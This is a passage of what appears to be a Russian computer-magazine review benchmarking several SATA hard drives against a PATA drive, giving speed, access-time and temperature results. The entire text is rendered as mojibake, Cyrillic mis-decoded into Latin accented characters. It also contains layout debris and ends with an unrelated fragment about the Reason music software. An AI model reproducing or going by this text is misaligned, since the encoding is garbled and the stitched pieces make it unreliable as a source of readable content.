òîëüêî îäèí PATA-êàíàë. Â ýòîé ñòàòüå ìû ðåøèëè ïðîòåñòèðîâàòü íåêîòîðûå ìîäåëè SATA-

íàêîïèòåëåé, ÷òîáû èçìåðèòü èõ îñíîâíûå ñêîðîñòíûå õàðàêòåðèñòèêè è ñðàâíèòü èõ ñ õàðàê-

òåðèñòèêàìè ñîâðåìåííîãî PATA æåñòêîãî äèñêà.

Åñëè ñðàâíèòü SATA- è PATA-âèí÷åñòåðû, òî

ñðàçó áðîñàþòñÿ â ãëàçà îòëè÷èÿ ïî èõ âíåø-

íåìó âèäó. Âìåñòî çäîðîâåííîãî IDE øëåé-

ôà, SATA-õàðä ïîäêëþ÷àåòñÿ ê êîìïó ìà-

ëåíüêèì è àêêóðàòíûì èíòåðôåéñíûì êàáå-

ëåì, ÷òî î÷åíü õîðîøî, òàê êàê èç-çà ìåíü-

øèõ ðàçìåðîâ êàáåëÿ óëó÷øèëñÿ âîçäóõîîá-

ìåí âíóòðè êîðïóñà, óïðîñòèëñÿ äîñòóï ê

êîìïëåêòóþùèì, è èç-çà òîãî, ÷òî SATA-êà-

áåëü ñîäåðæèò ìåíüøå æèë, óâåëè÷èëàñü

ñêîðîñòü ïåðåäà÷è äàííûõ äî 150 ìåãàáàéò â

ñåêóíäó ïðîòèâ 133 ìåãàáàéò PATA. Íà

SATA-øíóðêå ìîæåò «âèñåòü» òîëüêî îäèí

âèíò, ïîýòîìó ïåðåìû÷êà äëÿ âûáîðà ðåæèìà

ðàáîòû íàêîïèòåëÿ (master èëè slave) áîëüøå

íå íóæíà. Èçìåíèëñÿ è ñïîñîá çàïèòûâàíèÿ

íàêîïèòåëåé � âìåñòî ïðèâû÷íîãî molex�à, ó

SATA-âèíòîâ � ñâîé ñîáñòâåííûé êîííåêòîð.

Îñíîâíîå íîâîââåäåíèå SATA-èíòåðôåéñà �

ýòî ïîääåðæêà hot swap, òî åñòü ïîäêëþ÷åíèå

âèí÷åñòåðîâ «íà ãîðÿ÷óþ». Ýòî î÷åíü ïîëåç-

íîå íîâîââåäåíèå, òàê êàê áîëüøå íå íóæíî

âûêëþ÷àòü êîìïüþòåð, ÷òîáû ïîäêëþ÷èòü

ñâîé õàðä, íî åñòü íåáîëüøàÿ ïðîáëåìà: íå

âñå ìàòåðèíñêèå ïëàòû è íå âñå âèíòû ïîä-

äåðæèâàþò «ãîðÿ÷åå» ïîäêëþ÷åíèå. Ïîäîáíî

SCSI âèí÷åñòåðàì ó SATA-äåâàéñîâ ïîÿâè-

ëàñü ïîääåðæêà òåõíîëîãèè NCQ. NCQ � ýòî

òåõíîëîãèÿ ñîðòèðîâêè êîìàíä, ïîñòóïàþùèõ

îò êîìïà íà âèíò, ñ öåëüþ äîñòèæåíèÿ ìàêñè-

ìàëüíîé ïðîèçâîäèòåëüíîñòè. Íàïðèìåð, íà

HDD ïîñòóïàëà êîìàíäà íà ÷òåíèå äàííûõ ñ

12, 3 è 7 äîðîæêè, NCQ ñäåëàåò òàê, ÷òîáû

ìàðøðóò äâèæåíèÿ ìàãíèòíûõ ãîëîâîê áûë

îïòèìàëüíûì. Äà, êñòàòè, ñëåäóåò îòìåòèòü,

÷òî îòäåëüíûå ýñòåòû ïðè æåëàíèè ìîãóò

ïîäêëþ÷èòü SATA-íàêîïèòåëü ê PATA-êîíò-

ðîëëåðó ÷åðåç ñïåöèàëüíûé ïåðåõîäíèê.

Òåñòèðîâàíèå ïðîâîäèëîñü ïðè ïîìîùè ïðîãðàìì HD Tach è WinBench 99. Ñ ïîìîùüþ HD Tach

èçìåðÿëèñü ñëåäóþùèå õàðàêòåðèñòèêè: ïèêîâàÿ ñêîðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ, ñðåäíÿÿ

ñêîðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ, ïèêîâàÿ ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè, ñðåäíÿÿ ñêî-

ðîñòü ïîñëåäîâàòåëüíîé çàïèñè, âðåìÿ ñëó÷àéíîãî äîñòóïà (Random Access Time) è ïèêîâàÿ

ñêîðîñòü èíòåðôåéñà. Çàòåì íà æåñòêîì äèñêå ñîçäàâàëñÿ ðàçäåë, ðàâíûé åãî ïîëíîé åìêîñòè,

êîòîðûé ôîðìàòèðîâàëñÿ ïîä ôàéëîâóþ ñèñòåìó NTFS. Çàòåì ïðèìåíÿëñÿ òåñò Disk Transfer

Rate (ïî ñóòè äåëà òîæå ëèíåéíîå ÷òåíèå), âõîäÿùèé â ñîñòàâ ïàêåòà WinBench 99, ôèêñèðîâà-

ëàñü íà÷àëüíàÿ è êîíå÷íàÿ ñêîðîñòü, êðîìå òîãî, ïðîèçâîäèëñÿ àíàëèç ïîñòðîåííîãî ãðàôèêà,

îí íå äîëæåí áûë ñîäåðæàòü ðåçêèõ «ñêà÷êîâ» èëè «ïðîâàëîâ». Â ïðîöåññå òåñòèðîâàíèÿ êàæ-

äîãî íàêîïèòåëÿ ïðîèñõîäèë ïîñòîÿííûé ìîíèòîðèíã òåìïåðàòóðû ïðè ïîìîùè ïðîãðàììû

HDD Temperature, è ôèêñèðîâàëàñü ìàêñèìàëüíàÿ òåìïåðàòóðà.

Äëÿ ñðàâíåíèÿ ñêîðîñòíûõ õàðàêòåðèñòèê SATA- è PATA-æåñòêèõ äèñêîâ ñî ñêîðîñòüþ âðàùåíèÿ

øïèíäåëÿ 7200 îáîðîòîâ â ìèíóòó, ê òåñòèðóåìûì äåâàéñàì áûë äîáàâëåí PATA-âèí÷åñòåð.

ÏÏÐÐÎÎÂÂÅÅÐÐÊÊÀÀ 
ÆÆÅÅÑÑÒÒÊÊÎÎÃÃÎÎ ÄÄÐÐÓÓÃÃÀÀ
ÒÒÅÅÑÑÒÒÈÈÐÐÎÎÂÂÀÀÍÍÈÈÅÅ SSEERRIIAALL AATTAA ÆÆÅÅÑÑÒÒÊÊÈÈÕÕ ÄÄÈÈÑÑÊÊÎÎÂÂ

[intro]

[òåõíîëîãèè]

[ìåòîäèêà 
òåñòèðîâàíèÿ]

[òåñòîâûé ñòåíä]

Ïðîöåññîð Intel Celeron D 3GHz
Ìàòåðèíñêàÿ ïëàòà Intel D925XECV2
Îïåðàòèâíàÿ ïàìÿòü Kingston 256Mb DDR2
HDD Western Digital WD2000JB 200Gb
Îïåðàöèîííàÿ ñèñòåìà Windows XP Corporate Edition SP2

Test_lab âûðàæàåò áëàãîäàðíîñòü çà ïðåäîñòàâëåííîå íà òåñòèðîâàíèå îáîðóäîâàíèå êîìïàíèÿì ÍÈÊÑ - Êîìïüþòåðíûé Ñóïåðìàðêåò (ò.(095)974-3333, www.nix.ru), «Îñòðîâ Ôîðìîçà» \(ò. (095)926-2452,
www.island-formoza.ru), à òàêæå ðîññèéñêèå ïðåäñòàâèòåëüñòâà êîìïàíèé Maxtor, Seagate [X
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Maxtor 6B300S0
Îáúåì, Ãá: 300
Èíòåðôåéñ:SATA
Ñêîðîñòü âðàùåíèÿ îá/ìèí: 7200
Îáúåì êýø ïàìÿòè, Ìá: 16
Êîëè÷åñòâî äèñêîâ: 4
Êîëè÷åñòâî ãîëîâîê: 8
Ðàçìåðû, ìì: 147 õ 26 õ 102
Ìàññà, êã: 0,6
Ðåçóëüòàòû òåñòèðîâàíèÿ:
Ñêîðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ, Ìá/ñ:
Ïèêîâàÿ: 66,2
Ñðåäíÿÿ: 53,9
Ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè, Ìá/ñ:
Ïèêîâàÿ: 36,5
Ñðåäíÿÿ: 26,8
Random Access Time, ms: 14,1
Ïèêîâàÿ ñêîðîñòü èíòåðôåéñà, Ìá/ñ: 133,5
Disk Transfer Rate, Êá/ñ
Íà÷àëüíàÿ ñêîðîñòü: 64400
Êîíå÷íàÿ ñêîðîñòü: 38100
Ìàêñèìàëüíàÿ òåìïåðàòóðà, C: 50
Ðîâíûé ãðàôèê ÷òåíèÿ, 
íî ñðåäíèå ñêîðîñòíûå õàðàêòåðèñòèêè

Êîìïëåêòàöèÿ ñèëüíî îòëè÷àåòñÿ îò ñòàíäàðòíîé. Åñëè äðóãèå íàêîïèòåëè ïîïàëè
íà òåñòèðîâàíèå òîëüêî â àíòèñòàòè÷åñêèõ ïàêåòàõ, òî çäåñü â íàëè÷èè èìååòñÿ ñèì-
ïàòè÷íàÿ êîðîáêà, â êîòîðóþ áûëè óïàêîâàíû äâà õàðäà, äèñê ñ ïðîãðàììíûì îáåñ-
ïå÷åíèåì, SATA- èíòåðôåéñíûé êàáåëü è ïàêåòèê ñ ôóðíèòóðîé äëÿ ìîíòàæà íàêî-
ïèòåëåé â êóçîâ. Ýòè æåñòêèå äèñêè âòîðûå ïîñëå Seagate 3400832AS ïî åìêîñòè.
Òàêæå ñðàçó áðîñàåòñÿ â ãëàçà îãðîìíûé îáúåì êýø-ïàìÿòè äåâàéñà (öåëûõ 16 ìå-
ãàáàéò), ÷òî â äâà ðàçà áîëüøå, ÷åì ó äðóãèõ ó÷àñòíèêîâ òåñòèðîâàíèÿ. Ñðàçó âûðè-
ñîâûâàåòñÿ îáëàñòü ïðèìåíåíèÿ ýòèõ íàêîïèòåëåé, íàïðèìåð, äèñêîâ, óñòàíîâëåí-

íûõ íà íåáîëüøîì ôàéëå â ñåðâåðå ëîêàëüíîé ñåòè, òî åñòü çàäà÷è, ãäå êðèòè÷åí
ðàçìåð êýø-ïàìÿòè âèí÷åñòåðà. Ðàññìîòðèì ðåçóëüòàòû òåñòîâ ýòèõ óñòðîéñòâ. Â
öåëîì ñîâñåì íåïëîõî: íàêîïèòåëü óâåðåííî çàíÿë òðåòüå ìåñòî ñðåäè SATA æåñò-
êèõ äèñêîâ, â òåñòå íà âðåìÿ ñëó÷àéíîãî äîñòóïà, çàíÿë âòîðîå ìåñòî, à ïî ðåçóëüòà-
òàì òåñòà íà ïèêîâóþ ñêîðîñòü èíòåðôåéñà, âîîáùå, óâåðåííî ïîáåäèë (òóò âèäíî
ñêàçàëñÿ áîëüøèé îáúåì êýø-ïàìÿòè, ÷åì ó äðóãèõ âèíòîâ). Èç íåäîñòàòêîâ ìîæíî
âûäåëèòü âûñîêóþ òåìïåðàòóðó, çàôèêñèðîâàííóþ íà õàðäå (âòîðîé ðåçóëüòàò), ïðè-
÷åì, ïî ïðîèçâîäèòåëüíîñòè, õàðä çàìåòíî îòñòàë îò ïîáåäèòåëåé òåñòà.

Seagate
ST3200826AS
Îáúåì, Ãá: 200
Èíòåðôåéñ:SATA
Ñêîðîñòü âðàùåíèÿ îá/ìèí: 7200
Îáúåì êýø ïàìÿòè, Ìá: 8
Êîëè÷åñòâî äèñêîâ: 2
Êîëè÷åñòâî ãîëîâîê: 4
Ðàçìåðû, ìì: 147 õ 26 õ 102
Ìàññà, êã: 0,6
Ðåçóëüòàòû òåñòèðîâàíèÿ:
Ñêîðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ, Ìá/ñ:
Ïèêîâàÿ: 73,1
Ñðåäíÿÿ: 61,1
Ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè, Ìá/ñ:
Ïèêîâàÿ: 70,9
Ñðåäíÿÿ: 48,1
Random Access Time, ms: 15,7
Ïèêîâàÿ ñêîðîñòü èíòåðôåéñà, Ìá/ñ: 128,8
Disk Transfer Rate, Êá/ñ
Íà÷àëüíàÿ ñêîðîñòü: 71100
Êîíå÷íàÿ ñêîðîñòü: 40600
Ìàêñèìàëüíàÿ òåìïåðàòóðà, C: 49
Ñàìûé ëó÷øèé ãðàôèê ïî ñêîðîñòíûì õàðàêòåðèñòèêàì, 
Ìàêñèìàëüíàÿ è ñðåäíÿÿ ñêîðîñòü ÷òåíèÿ âïå÷àòëÿþò

Ýòîò íàêîïèòåëü ïðèÿòíî óäèâèë íàñ ñâîåé ïðîèçâîäèòåëüíîñòüþ. Âèí÷åñòåð áå-
çîãîâîðî÷íî ïîáåäèë â òåñòàõ íà ñêîðîñòü ëèíåéíîãî ÷òåíèÿ (êàê ïèêîâàÿ, òàê è
ñðåäíÿÿ ñêîðîñòü), Disk Transfer Rate (íà÷àëüíàÿ è êîíå÷íàÿ ñêîðîñòü) è ðàçäåëèë
ïîáåäó â òåñòå íà ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè âìåñòå ñ ST3400832AS. Ê
ñîæàëåíèþ, íå îáîøëîñü è áåç íåäîñòàòêîâ. Èç-çà âûñîêîé ïëîòíîñòè çàïèñè íà

ïëàñòèíó, íàêîïèòåëü ïîêàçàë ñëàáûé ðåçóëüòàò â òåñòå íà ñëó÷àéíîå âðåìÿ äîñ-
òóïà (òðåòèé èç ÷åòûðåõ) � ýòî õàðàêòåðíàÿ ïðîáëåìà æåñòêèõ äèñêîâ îò Seagate.
Êðîìå òîãî, âèí÷åñòåð îòëè÷àåòñÿ äîñòàòî÷íî øóìíûì õàðàêòåðîì, îñîáåííî ïðè
îïåðàöèÿõ ïîçèöèîíèðîâàíèÿ ìàãíèòíûõ ãîëîâîê, ïëþñ äîáàâèì ñþäà òèïè÷íóþ
ïðîáëåìó ñî ñëèøêîì âûñîêîé òåìïåðàòóðîé � öåëûõ ñîðîê äåâÿòü ãðàäóñîâ.[X

À
Ê

Å
Ð

0
8

 [
8

0
] 

0
5

 >
F

E
R

R
U

M
0

1
6

]

BEST BUY BEST BUY BEST BUY BEST BUY BEST BUY

$195
!!!!"

$109
!!!!"



Seagate
ST3400832AS
Îáúåì, Ãá: 400
Èíòåðôåéñ:SATA
Ñêîðîñòü âðàùåíèÿ îá/ìèí: 7200
Îáúåì êýø ïàìÿòè, Ìá: 8
Êîëè÷åñòâî äèñêîâ: 4
Êîëè÷åñòâî ãîëîâîê: 8
Ðàçìåðû, ìì: 147 õ 26 õ 102
Ìàññà, êã: 0,7
Ðåçóëüòàòû òåñòèðîâàíèÿ:
Ñêîðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ, Ìá/ñ:
Ïèêîâàÿ: 71,3
Ñðåäíÿÿ: 59,9
Ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè, Ìá/ñ:
Ïèêîâàÿ: 70,9
Ñðåäíÿÿ: 48,1
Random Access Time, ms: 16,1
Ïèêîâàÿ ñêîðîñòü èíòåðôåéñà, Ìá/ñ: 127,5
Disk Transfer Rate, Êá/ñ
Íà÷àëüíàÿ ñêîðîñòü: 69700
Êîíå÷íàÿ ñêîðîñòü: 40300
Ìàêñèìàëüíàÿ òåìïåðàòóðà, C: 52
Íåñìîòðÿ íà âäâîå áîëüøèé îáúåì, 
âèí÷åñòåð ñîâñåì íåìíîãî îòñòàåò îò ST3200826AS

Âòîðÿ ìîäåëü íàêîïèòåëÿ îò Seagate, îò ïðåäûäóùåãî óñòðîéñòâà, îòëè÷àåòñÿ âäâîå
áîëüøèì îáúåìîì. Êàê èçâåñòíî, åñëè äâà âèí÷åñòåðà ñäåëàíû ïî îäíîé òåõíîëî-
ãèè (â ÷àñòíîñòè, îäèíàêîâàÿ ïëîòíîñòü çàïèñè íà ïëàñòèíó), è ðàçëè÷àþòñÿ ëèøü
åìêîñòüþ, òî îáû÷íî ìîäåëü ñ ìåíüøèì îáúåìîì áîëåå ïðîèçâîäèòåëüíàÿ. Íå ñòà-
ëà èñêëþ÷åíèåì è ïàðà âèíòîâ îò Seagate, 400 ãèãàáàéòíàÿ ìîäåëü ïîêàçàëà áîëåå
ñëàáûé ðåçóëüòàò, íî ðàçíèöà îêàçàëàñü ìèíèìàëüíîé. Åñëè ïîñìîòðåòü íà èòîãè
òåñòà ñêîðîñòè ëèíåéíîãî ÷òåíèÿ, òî ìîæíî îáíàðóæèòü, ÷òî äàííûé íàêîïèòåëü
ðàñïîëîæèëñÿ íà âòîðîì ìåñòå (è ïèêîâàÿ, è ñðåäíÿÿ ñêîðîñòü), è ðàçäåëèë ïîáåäó

â òåñòå íà ñêîðîñòü ëèíåéíîé çàïèñè âìåñòå ñ ST3200826AS (îáà ïîêàçàëè àáñîëþò-
íî èäåíòè÷íûé ðåçóëüòàò êàê ïî ïèêîâîé, òàê è ïî ñðåäíåé ñêîðîñòè çàïèñè), ïðè-
÷åì ðàçíèöà ìåæäó âòîðûì è òðåòüèì ðåçóëüòàòîì (åãî ïîêàçàë Maxtor 6B300S0)
ñîñòàâèëà 21,2 ìåãàáàéòà â ñåêóíäó. Â òåñòå Disk Transfer Rate äåâàéñ òàêæå ïðî÷íî
îáîñíîâàëñÿ íà âòîðîì ìåñòå, íåìíîãî îòñòàâ îò ST3200826AS. Íåäîñòàòêè ïðàêòè-
÷åñêè òàêèå æå, êàê è ó äâåñòè ãèãàáàéòíîé ìîäåëè. Ýòî ñàìûå ñëàáûå ïîêàçàòåëè 
â òåñòå íà ñëó÷àéíîå âðåìÿ äîñòóïà (ïîñëåäíåå ìåñòî). Çâàíèå ñàìîãî ãîðÿ÷åãî íà-
êîïèòåëÿ òîæå ïðèíàäëåæèò ýòîé ìîäåëè (èç-çà åãî ñàìîé áîëüøîé åìêîñòè).

Western Digital
WD2500JS
Îáúåì, Ãá: 250
Èíòåðôåéñ: SATA
Ñêîðîñòü âðàùåíèÿ îá/ìèí: 7200
Îáúåì êýø ïàìÿòè, Ìá: 8
Êîëè÷åñòâî äèñêîâ: 3
Êîëè÷åñòâî ãîëîâîê: 6
Ðàçìåðû, ìì: 147 õ 26 õ 102
Ìàññà, êã: 0,7
Ðåçóëüòàòû òåñòèðîâàíèÿ:
Ñêîðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ, Ìá/ñ:
Ïèêîâàÿ: 63,2
Ñðåäíÿÿ: 53,0
Ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè, Ìá/ñ:
Ïèêîâàÿ: 38,8
Ñðåäíÿÿ: 23,8
Random Access Time, ms: 13,6
Ïèêîâàÿ ñêîðîñòü èíòåðôåéñà, Ìá/ñ: 128,5
Disk Transfer Rate, Êá/ñ
Íà÷àëüíàÿ ñêîðîñòü: 61300
Êîíå÷íàÿ ñêîðîñòü: 37400
Ìàêñèìàëüíàÿ òåìïåðàòóðà, C: 42
Ê ñîæàëåíèþ, óñòðîéñòâî îò Western Digital ïîêàçàëî ïîñëåäíèé ðåçóëüòàò 
ïî ñêîðîñòè ëèíåéíîãî ÷òåíèÿ

Óñòðîéñòâî åìêîñòüþ 250 ãèãàáàéò ïðîèçâîäèò Western Digital. Â îòëè÷èå îò äðó-
ãèõ æåñòêèõ äèñêîâ, ÷üè êîðïóñà áûëè òðàäèöèîííî ñåðåáðèñòîãî öâåòà, íà÷èíêà
ýòîãî õàðäà óïàêîâàíà â ñòèëüíûé ÷åðíûé êîðïóñ. Äàííûé æåñòêèé äèñê îêàçàëñÿ
ñàìûì õîëîäíûì èç òåñòèðóåìûõ (42 ãðàäóñà ïî Öåëüñèþ). Ðàçíèöà ìåæäó ïåð-
âûì è ïîñëåäíèì ìåñòîì ñîñòàâèëà öåëûõ 10 ãðàäóñîâ! Íàêîïèòåëü îêàçàëñÿ è
ñàìûì áûñòðûì ïî ïîêàçàíèÿì òåñòà íà ñëó÷àéíîå âðåìÿ äîñòóïà ñ ðåçóëüòàòîì
13,6 ms. À âîò äðóãèå ðåçóëüòàòû òåñòîâ íå ñòîëü îáíàäåæèâàþò. Â òåñòå íà ñêî-
ðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ íàêîïèòåëü çàíÿë ïîñëåäíåå ìåñòî (ñàìûé ñëà-
áûé ðåçóëüòàò êàê ïî ïîêàçàíèÿì ïèêîâîé, òàê è ñðåäíåé ñêîðîñòè), íåìíîãî ïðî-

èãðàâ Maxtor 6B300S0, íà òàêîì æå ìåñòå äåâàéñ çàâåðøèë òåñò Disk Transfer
Rate, òîëüêî îòñòàâàíèÿ îò Maxtorà çäåñü áîëåå îùóòèìî. ×óòü ëó÷øå ïîëîæåíèå
â òåñòå íà ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè, ïèêîâàÿ ñêîðîñòü � òðåòèé ðåçóëü-
òàò, íî ñðåäíÿÿ ñêîðîñòü âñåãî ëèøü ÷åòâåðòûé, à òàê êàê ñðåäíÿÿ ñêîðîñòü èìååò
áîëåå âûñîêèé ïðèîðèòåò, òî èòîãîâàÿ îöåíêà çà ñêîðîñòü ëèíåéíîé çàïèñè,
îêàçûâàåòñÿ ñàìîé íèçêîé. Øóì, èçäàâàåìûé íàêîïèòåëåì, ÷óòü áîëåå òèõèé, ÷åì
ó îñòàëüíûõ. Ìû ïîäìåòèëè îäíó íåïðèÿòíóþ îñîáåííîñòü: â ïðîöåññå ðàáîòû íà-
êîïèòåëü ñèëüíî âèáðèðóåò, è åñëè òû ïëîõî çàêðåïèë ýòîò äåâàéñ ïðè ìîíòàæå 
â êîðïóñå, òî øóì, èçäàâàåìûé æåñòêè äèñêîì, óñèëèòñÿ íà ïîðÿäîê.
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Íó ÷òî æå, ãëàâíûé âûâîä, êîòîðûé ìîæíî ñäåëàòü, îïèðàÿñü

íà ðåçóëüòàòû ïðîäåëàííîãî òåñòèðîâàíèÿ,� ýòî òî, ÷òî âñå

ñêîðîñòíûå ïðåèìóùåñòâà Serial ATA èíòåðôåéñà íå ðàñê-

ðûâàþòñÿ öåëèêîì ïðè èñïîëüçîâàíèè ýòîãî èíòåðôåéñà íà

æåñòêèõ äèñêàõ ñî ñêîðîñòüþ âðàùåíèÿ øïèíäåëÿ 7200 îáî-

ðîòîâ â ìèíóòó, ïî ñðàâíåíèþ ñ PATA-íàêîïèòåëÿìè. Ãëàâ-

íûì ñäåðæèâàþùèì ôàêòîðîì ÿâëÿåòñÿ ìåõàíè÷åñêàÿ ÷àñòü

âèí÷åñòåðà (èëè ãåðìîáëîê), â áîëüøèíñòâå ñëó÷àåâ ïðîèç-

âîäèòåëè èñïîëüçóþò îäèíàêîâûå ìåõàíè÷åñêèå ÷àñòè äëÿ

ìîäåëåé íàêîïèòåëåé ñ èíòåðôåéñîì PATA è SATA. Îäíàêî

ïîÿâëÿþòñÿ íîâûå, áîëåå ñêîðîñòíûå æåñòêèå äèñêè, ãäå

ïðåèìóùåñòâà Serial ATA ïðîÿâëÿþòñÿ âî âñåé êðàñå, ïîýòî-

ìó ïîääåðæêà SATA-èíòåðôåéñà ó òâîåé ìàòåðèíñêîé ïëàòû

ýòî ãàðàíòèÿ âîçìîæíîñòè ðàñøèðåíèÿ.

Âòîðîé âûâîä: ñîâðåìåííûå æåñòêèå äèñêè âåñüìà îùóòè-

ìî ãðåþòñÿ. Ñóäè ñàì � âî âðåìÿ òåñòèðîâàíèÿ íàêîïèòåëü

íàõîäèëñÿ âíå êîðïóñà â õîðîøî ïðîâåòðèâàåìîì, ïðîõ-

ëàäíîì ïîìåùåíèè, íî ýòî íå ïîìåøàëî åìó ðàçîãðåòüñÿ

äî 50 ãðàäóñîâ (ýòî óñðåäíåííûé ðåçóëüòàò) ïðè èíòåíñèâ-

íîé ðàáîòå. Â çàêðûòîì êîðïóñå è ïðè ïëîõîé öèðêóëÿöèè

âîçäóõà, òåìïåðàòóðà âèí÷åñòåðà ìîæåò ïðåâûñèòü è 60�

70 ãðàäóñîâ. Ðåçóëüòàòîì òàêîé ðàáîòû ÿâëÿþòñÿ ãîðåëûå

ìèêðîñõåìû óïðàâëåíèÿ ñèñòåìîé ïîçèöèîíèðîâàíèÿ ìàã-

íèòíûõ ãîëîâîê. Ðàçóìååòñÿ, âñå ñîâðåìåííûå æåñòêèå

äèñêè èìåþò çàùèòó îò ïåðåãðåâà (çàùèòà ðàáîòàåò ñëåäó-

þùèì îáðàçîì: êàê òîëüêî òåìïåðàòóðà ïðåâûñèò íåêîå

ïîðîãîâîå çíà÷åíèå, íàêîïèòåëü èëè ñèëüíî çàìåäëÿåò

ñâîþ ðàáîòó, èëè ñàìîâûêëþ÷àåòñÿ, âûæèäàÿ îõëàæäåíèÿ

ìèêðîñõåìû), íî ýêñïëóàòàöèÿ âèí÷åñòåðà â ïðåäåëüíûõ

ðåæèìàõ ðàáîòû ñèëüíî ñîêðàòèò åãî ñðîê ñëóæáû. Ïîýòî-

ìó ìû ðåêîìåíäóåì íà ñàìûå ãîðÿ÷èå äåâàéñû ñòàâèòü

ñèñòåìû ïàññèâíîãî èëè àêòèâíîãî îõëàæäåíèÿ.

«Âûáîðîì Ðåäàêöèè» ìû ïðèçíàëè Seagate ST3400832AS

êàê ñàìûé áîëüøîé ïî îáúåìó âèí÷åñòåð ñ õîðîøèìè ñêîðî-

ñòíûìè õàðàêòåðèñòèêàìè. «Ëó÷øåé Ïîêóïêîé» ñòàë Western

Digital Digital WD 2500JS, ìû ðåêîìåíäóåì åãî ëþáèòåëÿì

ïðîõëàäû è òèøèíû, ïðè óñëîâèè íàäåæíîãî ìîíòàæà â êà÷å-

ñòâåííîì êîðïóñå, ÷òîáû èçáåæàòü âèáðàöèé.

[Òåñòîâûé ñòåíä]

Maxtor GL200P0
Îáúåì, Ãá: 200
Èíòåðôåéñ: IDE (UDMA133)
Ñêîðîñòü âðàùåíèÿ îá/ìèí: 7200
Îáúåì êýø ïàìÿòè, Ìá: 8
Êîëè÷åñòâî äèñêîâ: 
Êîëè÷åñòâî ãîëîâîê: 
Ðàçìåðû, ìì: 147 õ 25 õ 102
Ìàññà, êã: 0,6
Ðåçóëüòàòû òåñòèðîâàíèÿ:
Ñêîðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ, Ìá/ñ:
Ïèêîâàÿ: 67,2
Ñðåäíÿÿ: 53,8
Ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè, Ìá/ñ:
Ïèêîâàÿ: 32,8
Ñðåäíÿÿ: 25
Random Access Time, ms: 14,9
Ïèêîâàÿ ñêîðîñòü èíòåðôåéñà, Ìá/ñ: 90,6
Disk Transfer Rate, Êá/ñ
Íà÷àëüíàÿ ñêîðîñòü: 65100
Êîíå÷íàÿ ñêîðîñòü: 36800
Ìàêñèìàëüíàÿ òåìïåðàòóðà, C: 47
Îöåíêà àêóñòè÷åñêèõ õàðàêòåðèñòèê: 8/10
Íå ñìîòðÿ íà «óñòàðåâøèé» èíòåðôåéñ âèí÷åñòåð ïîêàçûâàåò
âåñüìà ïðèëè÷íóþ ñêîðîñòü

Ïîä êîíåö ìû íå ìîãëè íå ïðîòåñòèðîâàòü æåñòêèé äèñê ñî ñòàðûì äîáðûì
PATA-èíòåðôåéñîì. Â êà÷åñòâå ïîäîïûòíîãî áûë âûáðàí äåâàéñ Maxtor
GL200P0. È êàêèå æå âûâîäû ìîæíî ñäåëàòü, ïðîàíàëèçèðîâàâ ðåçóëüòàò? Âû-
âîä áóäåò áàíàëåí: ïî ñâîèì îñíîâíûì ñêîðîñòíûì õàðàêòåðèñòèêàì, áîëåå
ñëàáûì ÿâëÿåòñÿ Maxtor GL200P0, ïðàêòè÷åñêè íå óñòóïàþùèé íàâîðî÷åííîé
ìîäåëè Maxtor 6B300S0. Â òåñòàõ íà ñêîðîñòü ïîñëåäîâàòåëüíîé çàïèñè, ñêî-
ðîñòü ïîñëåäîâàòåëüíîãî ÷òåíèÿ, Disk Transfer Rate è íà âðåìÿ ñëó÷àéíîãî äîñ-
òóïà � îòñòàâàíèå ìèíèìàëüíî (à ïî ïîêàçàíèÿì ïèêîâîé ñêîðîñòè ÷òåíèÿ è íà-

÷àëüíîé ñêîðîñòè â Disk Transfer Rate Maxtor GL200P0 äàæå íåìíîãî îïåðåäèë
Maxtor 6B300S0). È òîëüêî ïî èòîãàì ïèêîâîé ñêîðîñòè èíòåðôåéñà íàêîïèòåëü
ñ PATA-èíòåðôåéñîì, ñåðüåçíî îòñòàë îò SATA-óñòðîéñòâ (÷òî íå óäèâèòåëüíî).
Êîíå÷íî, åñëè áû ïðîäåëàëè òåñò, íàïðèìåð, ìîäåëèðóþùèé, ñèëüíî çàãðóæåí-
íûé web-ñåðâåð, òî Maxtor 6B300S0, çà ñ÷åò áîëåå åìêîãî êýøà, îïåðåäèë áû
Maxtor GL200P0, ïðè÷åì, ñêîðåå âñåãî, îí îïåðåäèë áû è íàêîïèòåëè îò Seagate
ïî âûøåîïèñàííîé ïðè÷èíå, íî ëó÷øèé ðåçóëüòàò áûë áû ïîëó÷åí çà ñ÷åò åì-
êîñòè êýø-ïàìÿòè, à íå çà ñ÷åò ýôôåêòèâíîñòè è ñêîðîñòè èíòåðôåéñà.
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[æóåì ïëàñòèê] Èòàê, Reason. Íå ïåðåñòàåò
âñå òàêæå ìåðöàòü, ïîÿâèâøèñü íà ñâåò â 2000
ãîäó áëàãîäàðÿ óñèëèÿì ðàçðàáîò÷èêîâ êîìïà-
íèè Propellerhead Software. Reason � ýòî òîæå
ñòîéêà, äà åùå è ñ ïðèëàæåííûì ñíèçó óïðàâëÿ-
þùèì ñåêâåíñîðîì. Ñòîéêà, ïðàâäà, óæå íå ìå-
òàëëè÷åñêàÿ. Åâðîïà ïåðåõîäèò íà áîëåå äåøå-
âûå ìàòåðèàëû òàêèå, êàê ïëàñòìàññà, à íåôòè
âîîáùå îñòàëîñü òîëüêî íà áëèæàéøèå 10 ëåò.
Íå êàæäûé ìîæåò ïîçâîëèòü ñåáå äîðîãóùèå æå-
ëåçÿêè ïî íåñêîëüêî øòóê ãðèíà, ïîýòîìó òû ïîñ-
òàâèë ñåáå ïëàñòìàññîâûé ýìóëÿòîð, à ñåé÷àñ
ñèäèøü è êîâûðÿåøü íå ìåíåå ïëàñòìàññîâîé
ìûøêîé ðó÷êè è êðóòèëêè âèðòóàëüíûõ óñòðîéñòâ
ðàçíîöâåòíîãî Reason'a. ×òî æå, âûãëÿäèò íåïëî-
